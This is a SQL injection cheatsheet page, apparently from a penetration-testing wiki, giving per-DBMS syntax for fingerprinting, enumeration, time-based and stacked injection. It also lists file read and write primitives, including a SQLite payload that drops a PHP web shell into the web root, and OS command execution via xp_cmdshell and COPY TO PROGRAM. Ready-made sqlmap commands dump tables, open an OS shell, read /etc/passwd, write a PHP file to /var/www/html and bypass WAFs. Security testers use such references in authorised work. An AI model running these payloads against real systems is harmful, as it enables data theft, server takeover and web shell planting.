Skip to content

DBMS Syntax Cheatsheet

Quick lookup for “I know I’m on Oracle, how do I do X?”. For workflow and explanations see the per-technique pages.

Fingerprinting (return value identifies the DBMS)

Section titled “Fingerprinting (return value identifies the DBMS)”
SELECT @@version -- MySQL, MSSQL
SELECT version() -- PostgreSQL, MySQL
SELECT banner FROM v$version -- Oracle
SELECT sqlite_version() -- SQLite
OperationMySQLPostgreSQLMSSQLOracleSQLite
Version@@versionversion()@@version(SELECT banner FROM v$version)sqlite_version()
Current useruser() / current_user()current_userSYSTEM_USER / USER_NAME()USERn/a
Current DBdatabase()current_database()DB_NAME()n/a (uses schemas)n/a
Hostname@@hostnameinet_server_addr()@@SERVERNAMESYS_CONTEXT('USERENV','HOST')n/a
String concatCONCAT(a,b)a || ba + ba || ba || b
SubstringSUBSTRING(s,p,l)SUBSTR(s,p,l)SUBSTRING(s,p,l)SUBSTR(s,p,l)SUBSTR(s,p,l)
String lengthLENGTH(s)LENGTH(s)LEN(s)LENGTH(s)LENGTH(s)
Char from codeCHAR(N)CHR(N)CHAR(N)CHR(N)CHAR(N)
ASCII of charASCII(c)ASCII(c)ASCII(c)ASCII(c)UNICODE(c)
String → hexHEX(s)encode(s,'hex')master.dbo.fn_varbintohexstr(s)RAWTOHEX(s)hex(s)
Hex → stringUNHEX(h)decode(h,'hex')n/aUTL_RAW.CAST_TO_VARCHAR2(HEXTORAW(h))n/a
ConditionalIF(c,t,f)CASE WHEN c THEN t ELSE f ENDIIF(c,t,f) or CASECASE WHEN c THEN t ELSE f ENDCASE WHEN c THEN t ELSE f END
SleepSLEEP(n)pg_sleep(n)WAITFOR DELAY '0:0:n'dbms_pipe.receive_message(('a'),n)(no native)
DBMSLineBlock
MySQL-- (with space) or #/* ... */, /*! ... */ versioned
PostgreSQL-- /* ... */
MSSQL-- /* ... */
Oracle-- /* ... */
SQLite-- /* ... */

URL-safe form: -- - (trailing dash so the comment doesn’t break on space stripping).

DBMSGet rows N to M
MySQL / PostgreSQL / SQLiteLIMIT M OFFSET N
MSSQL (2012+)OFFSET N ROWS FETCH NEXT M ROWS ONLY
MSSQL (older)SELECT TOP M * FROM t WHERE id NOT IN (SELECT TOP N id FROM t)
OracleWHERE ROWNUM <= M AND ROWNUM > N (or row_number() window)
OperationMySQLPostgreSQLMSSQLOracle
List databasesSELECT schema_name FROM information_schema.schemataSELECT datname FROM pg_databaseSELECT name FROM sys.databasesn/a (use schemas)
List tablesSELECT table_name FROM information_schema.tables WHERE table_schema=database()SELECT tablename FROM pg_tables WHERE schemaname='public'SELECT name FROM sysobjects WHERE xtype='U'SELECT table_name FROM all_tables
List columnsSELECT column_name FROM information_schema.columns WHERE table_name='<T>'same as MySQLsame as MySQLSELECT column_name FROM all_tab_columns WHERE table_name='<T>'

See Enumeration for the full workflow.

Stacked query support (multiple statements separated by ;)

Section titled “Stacked query support (multiple statements separated by ;)”
DBMSStacked queries via SQLi
MySQLUsually not (most drivers disable it) - exception: mysqli_multi_query
PostgreSQLYes
MSSQLYes
OracleNo (single statement)
SQLiteDepends on driver
DBMSReadWriteWrite requires
MySQLLOAD_FILE('/path')SELECT ... INTO OUTFILE '/path'FILE privilege + secure_file_priv permits path
PostgreSQLpg_read_file('/path', 0, N)COPY (SELECT '...') TO '/path'superuser
MSSQLOPENROWSET(BULK '/path', SINGLE_CLOB)via xp_cmdshellsysadmin
OracleUTL_FILE.GET_LINE(...)UTL_FILE.PUT_LINE(...)DBA + directory object
SQLiten/aATTACH DATABASE 'path/x.php' AS x; CREATE TABLE x.t (c TEXT); INSERT INTO x.t VALUES ('<?php ... ?>')filesystem write to web root

See File operations for full workflow including web shell drops.

DBMSPathPrivilege required
MySQLUDF abuse via lib_mysqludf_sys (rare modern systems)FILE privilege + writable plugin dir
PostgreSQLCOPY ... TO PROGRAM 'cmd'superuser
PostgreSQLCREATE EXTENSION + dynamic librarysuperuser
MSSQLEXEC xp_cmdshell 'cmd'sysadmin (must enable first)
MSSQLsp_OACreate + WSHsysadmin
OracleJava stored proceduresDBA
OracleDBMS_SCHEDULER to run OS commandsDBA + appropriate roles
SQLiten/a (no built-in command execution)-
Terminal window
# Basic dump
sqlmap -u "https://<TARGET>/p?id=1" --batch --dump
# Specific DBMS, specific technique, specific table
sqlmap -u "https://<TARGET>/p?id=1" --dbms=mysql --technique=BEUSTQ --dump -T users
# From saved Burp request
sqlmap -r request.txt --batch --dbs
# With cookies
sqlmap -u "https://<TARGET>/p?id=1" --cookie="session=xyz" --dump
# JSON body
sqlmap -u "https://<TARGET>/api/x" --data='{"id":"1*"}' --headers="Content-Type: application/json"
# Mark injection point manually
sqlmap -u "https://<TARGET>/p?id=1*&other=2" # asterisk = injection point
# OS shell when DB user is privileged
sqlmap -u "https://<TARGET>/p?id=1" --os-shell
# Read file
sqlmap -u "https://<TARGET>/p?id=1" --file-read=/etc/passwd
# Write file
sqlmap -u "https://<TARGET>/p?id=1" --file-write=local.php --file-dest=/var/www/html/x.php
# Tamper for WAF bypass
sqlmap -u "https://<TARGET>/p?id=1" --tamper=between,randomcase,space2comment
# Verbose, show all requests
sqlmap -u "https://<TARGET>/p?id=1" -v 3

--technique letters:

  • B - boolean blind
  • E - error-based
  • U - UNION-based
  • S - stacked queries
  • T - time-based blind
  • Q - inline query
DBMSDefault port
MySQL / MariaDB3306
PostgreSQL5432
MSSQL1433
Oracle1521
MongoDB27017
Redis6379
Cassandra9042

Useful when you have direct DB access (not via injection) - different reference, but worth keeping nearby.

  • This page is a quick lookup, not a tutorial. The technique pages explain why; this page is what to type.